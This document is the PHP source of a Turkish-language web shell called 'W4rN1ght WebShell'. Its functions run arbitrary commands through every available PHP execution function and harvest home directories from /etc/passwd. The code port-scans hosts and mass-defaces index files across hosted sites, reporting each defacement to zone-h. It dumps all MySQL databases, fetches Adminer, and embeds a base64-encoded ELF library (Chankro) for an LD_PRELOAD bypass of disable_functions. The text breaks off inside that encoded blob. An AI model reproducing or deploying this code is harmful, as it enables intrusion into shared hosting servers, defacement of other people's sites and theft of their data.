W4rN1ght WebShell

'; exit; } function show_login() { ?> W4rN1ght WebShell - Giriş

ON' : 'OFF'; $disable_functions = ini_get('disable_functions'); $open_basedir = ini_get('open_basedir'); function format_bytes($bytes, $precision = 2) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, $precision) . ' ' . $units[$pow]; } function get_perms($file) { if(isset($GLOBALS['is_windows']) && $GLOBALS['is_windows']) return '-rw-r--r--'; if (!file_exists($file)) return '----------'; $perms = fileperms($file); $info = ''; $info .= (($perms & 0xC000) == 0xC000) ? 's' : ((($perms & 0xA000) == 0xA000) ? 'l' : ((($perms & 0x8000) == 0x8000) ? '-' : ((($perms & 0x6000) == 0x6000) ? 'b' : ((($perms & 0x4000) == 0x4000) ? 'd' : ((($perms & 0x2000) == 0x2000) ? 'c' : 'u'))))); $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } function execute_command($cmd, $background = false) { $output = ''; $methods = array(); if($background) { if(!$GLOBALS['is_windows']) { if(function_exists('shell_exec')) { shell_exec($cmd . " > /dev/null 2>&1 &"); return "Arka plan işlemi başlatıldı: " . $cmd; } elseif(function_exists('exec')) { exec($cmd . " > /dev/null 2>&1 &"); return "Arka plan işlemi başlatıldı: " . $cmd; } } else { if(function_exists('shell_exec')) { shell_exec("start /B " . $cmd); return "Arka plan işlemi başlatıldı: " . $cmd; } elseif(function_exists('exec')) { exec("start /B " . $cmd); return "Arka plan işlemi başlatıldı: " . $cmd; } } } if(function_exists('shell_exec')) { $output = shell_exec($cmd . " 2>&1"); if($output !== null) return $output; } if(function_exists('exec')) { exec($cmd . " 2>&1", $out_arr); if(!empty($out_arr)) return implode("\n", $out_arr); } if(function_exists('system')) { ob_start(); system($cmd . " 2>&1"); $output = ob_get_contents(); ob_end_clean(); if($output) return $output; } if(function_exists('passthru')) { ob_start(); passthru($cmd . " 2>&1"); $output = ob_get_contents(); ob_end_clean(); if($output) return $output; } if(function_exists('popen')) { $handle = popen($cmd . ' 2>&1', 'r'); if(is_resource($handle)) { while(!feof($handle)) $output .= fread($handle, 1024); pclose($handle); if($output) return $output; } } if(function_exists('proc_open')) { $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $process = proc_open($cmd, $descriptorspec, $pipes); if(is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if($output) return $output; } } return "Command execution failed - all methods tried."; } function get_all_home_dirs() { $homes = array(); if(file_exists('/etc/passwd')) { $lines = file('/etc/passwd'); foreach($lines as $line) { $parts = explode(':', $line); if(isset($parts[5]) && (strpos($parts[5], '/home/') === 0 || strpos($parts[5], '/var/www/') === 0 || strpos($parts[5], '/usr/home/') === 0)) { $homes[] = $parts[5]; } } } for($i = 0; $i < 10; $i++) { $home_path = $i == 0 ? '/home' : '/home' . $i; if(is_dir($home_path)) { $items = scandir($home_path); foreach($items as $item) { if($item != '.' && $item != '..' && is_dir($home_path . '/' . $item)) { if(!in_array($home_path . '/' . $item, $homes)) $homes[] = $home_path . '/' . $item; } } } } $extra_dirs = array('/var/www', '/var/www/html', '/usr/local/www', '/srv/www', '/var/www/vhosts', '/usr/share/nginx/html'); foreach($extra_dirs as $dir) { if(is_dir($dir)) { $items = scandir($dir); foreach($items as $item) { if($item != '.' && $item != '..' && is_dir($dir . '/' . $item)) { if(!in_array($dir . '/' . $item, $homes)) $homes[] = $dir . '/' . $item; } } } } return array_unique($homes); } function smart_read_file($file) { $content = ''; if(function_exists('file_get_contents')) { $content = @file_get_contents($file); if($content !== false) return $content; } if(function_exists('file')) { $lines = @file($file); if($lines !== false) return implode('', $lines); } if(function_exists('fopen')) { $fp = @fopen($file, 'rb'); if($fp) { $content = ''; while(!feof($fp)) $content .= fread($fp, 8192); fclose($fp); if($content) return $content; } } if(function_exists('readfile')) { ob_start(); $read = @readfile($file); $content = ob_get_contents(); ob_end_clean(); if($read !== false && $content) return $content; } if(substr($file, -4) == '.php') { ob_start(); @include($file); $content = ob_get_contents(); ob_end_clean(); if($content) return $content; } if(function_exists('file_get_contents')) { $wrappers = array( 'php://filter/convert.base64-encode/resource=', 'php://filter/read=string.rot13/resource=', 'compress.zlib://' ); foreach($wrappers as $wrapper) { $content = @file_get_contents($wrapper . $file); if($content) { if(strpos($wrapper, 'base64') !== false) $content = base64_decode($content); if(strpos($wrapper, 'rot13') !== false) $content = str_rot13($content); return $content; } } } if(function_exists('curl_init') && preg_match('/^https?:\/\//', $file)) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $content = curl_exec($ch); curl_close($ch); if($content) return $content; } $cmd_content = execute_command('cat "' . $file . '" 2>/dev/null'); if($cmd_content && !strpos($cmd_content, 'execution failed')) return $cmd_content; return false; } function port_scan($host, $ports, $timeout = 1) { $open = array(); foreach($ports as $port) { $connection = @fsockopen($host, $port, $errno, $errstr, $timeout); if(is_resource($connection)) { $open[] = $port; fclose($connection); } } return $open; } function mass_deface($dirs, $content, $pattern = 'index') { $defaced = array(); $files = array('index.php', 'index.html', 'index.htm', 'default.php', 'default.html', 'home.php', 'main.php', 'wp-content/themes/index.php', 'wp-content/themes/header.php', 'wp-content/themes/footer.php'); foreach($dirs as $dir) { foreach($files as $file) { $target = rtrim($dir, '/') . '/public_html/' . $file; if(file_exists($target) && is_writable($target)) { if(file_put_contents($target, $content)) $defaced[] = $target; } $target2 = rtrim($dir, '/') . '/' . $file; if(file_exists($target2) && is_writable($target2)) { if(file_put_contents($target2, $content)) $defaced[] = $target2; } } $items = @scandir($dir . '/public_html'); if($items) { foreach($items as $item) { if($item != '.' && $item != '..' && is_dir($dir . '/public_html/' . $item)) { foreach($files as $file) { $target = $dir . '/public_html/' . $item . '/' . $file; if(file_exists($target) && is_writable($target)) { if(file_put_contents($target, $content)) $defaced[] = $target; } } } } } } return $defaced; } function zoneh_submit($url, $defacer = 'W4rN1ght') { $ch = curl_init('http://www.zone-h.org/notify/single'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=" . urlencode($defacer) . "&domain1=" . urlencode($url) . "&hackmode=1&reason=1&submit=Send"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); $result = curl_exec($ch); curl_close($ch); return strpos($result, 'OK') !== false; } function send_mail($from, $to, $subject, $message, $headers_extra = '') { $headers = "From: " . $from . "\r\n"; $headers .= "Reply-To: " . $from . "\r\n"; $headers .= "X-Mailer: W4rN1ght WebShell\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; $headers .= $headers_extra; if(function_exists('mail')) { return @mail($to, $subject, $message, $headers); } if(function_exists('fsockopen')) { $smtp_host = ini_get('SMTP'); if($smtp_host) { $fp = @fsockopen($smtp_host, 25, $errno, $errstr, 5); if($fp) { fputs($fp, "HELO " . gethostname() . "\r\n"); fputs($fp, "MAIL FROM: <" . $from . ">\r\n"); fputs($fp, "RCPT TO: <" . $to . ">\r\n"); fputs($fp, "DATA\r\n"); fputs($fp, "Subject: " . $subject . "\r\n"); fputs($fp, $headers); fputs($fp, "\r\n" . $message . "\r\n.\r\n"); fputs($fp, "QUIT\r\n"); fclose($fp); return true; } } } return false; } function install_adminer() { $url = "https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php"; $target = "adminer.php"; if(function_exists('file_put_contents') && function_exists('fopen')) { $content = @file_get_contents($url); if($content) { file_put_contents($target, $content); return true; } } $content = execute_command("wget -q -O $target $url 2>/dev/null || curl -s -o $target $url"); if(file_exists($target) && filesize($target) > 1000) { return true; } return false; } function dump_database($host, $user, $pass, $dbname = '', $output_file = 'dump.sql') { $cmd = ""; if(!$GLOBALS['is_windows']) { if($dbname) { $cmd = "mysqldump -h '$host' -u '$user' --password='$pass' '$dbname' > '$output_file' 2>/dev/null"; } else { $cmd = "mysqldump -h '$host' -u '$user' --password='$pass' --all-databases > '$output_file' 2>/dev/null"; } } else { if($dbname) { $cmd = "mysqldump -h $host -u $user --password=$pass $dbname > $output_file 2>nul"; } else { $cmd = "mysqldump -h $host -u $user --password=$pass --all-databases > $output_file 2>nul"; } } $result = execute_command($cmd); if(file_exists($output_file) && filesize($output_file) > 0) { return true; } return false; } function bypasshell_execute($cmd) { $results = array(); $temp_file = '/tmp/bypass_' . md5(rand()) . '.txt'; if(function_exists('mail') && function_exists('putenv') && function_exists('file_put_contents')) { $chankro = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAAR0NDOiAoRGViaWFuIDYuMy4wLTE4K2RlYjl1MSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAA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AwAAABYAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAABgHAAAAAAAAGAcAAAAAAAAXAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAAAwBwAAAAAAADAHAAAAAAAAoAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAA0AcAAAAAAADQBwAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAhwAAAAEAAAAGAAAAAAAAAOAHAAAAAAAA4AcAAAAAAAB6AQAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAI0AAAABAAAABgAAAAAAAABcCQAAAAAAAFwJAAAAAAAACQAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACTAAAAAQAAAAIAAAAAAAAAZQkAAAAAAABlCQAAAAAAABMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAmwAAAAEAAAACAAAAAAAAAHgJAAAAAAAAeAkAAAAAAAA0AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAKkAAAABAAAAAgAAAAAAAACwCQAAAAAAALAJAAAAAAAAvAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACzAAAADgAAAAMAAAAAAAAA+A0gAAAAAAD4DQAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAvwAAAA8AAAADAAAAAAAAAAgOIAAAAAAACA4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAMsAAAABAAAAAwAAAAAAAAAQDiAAAAAAABAOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADQAAA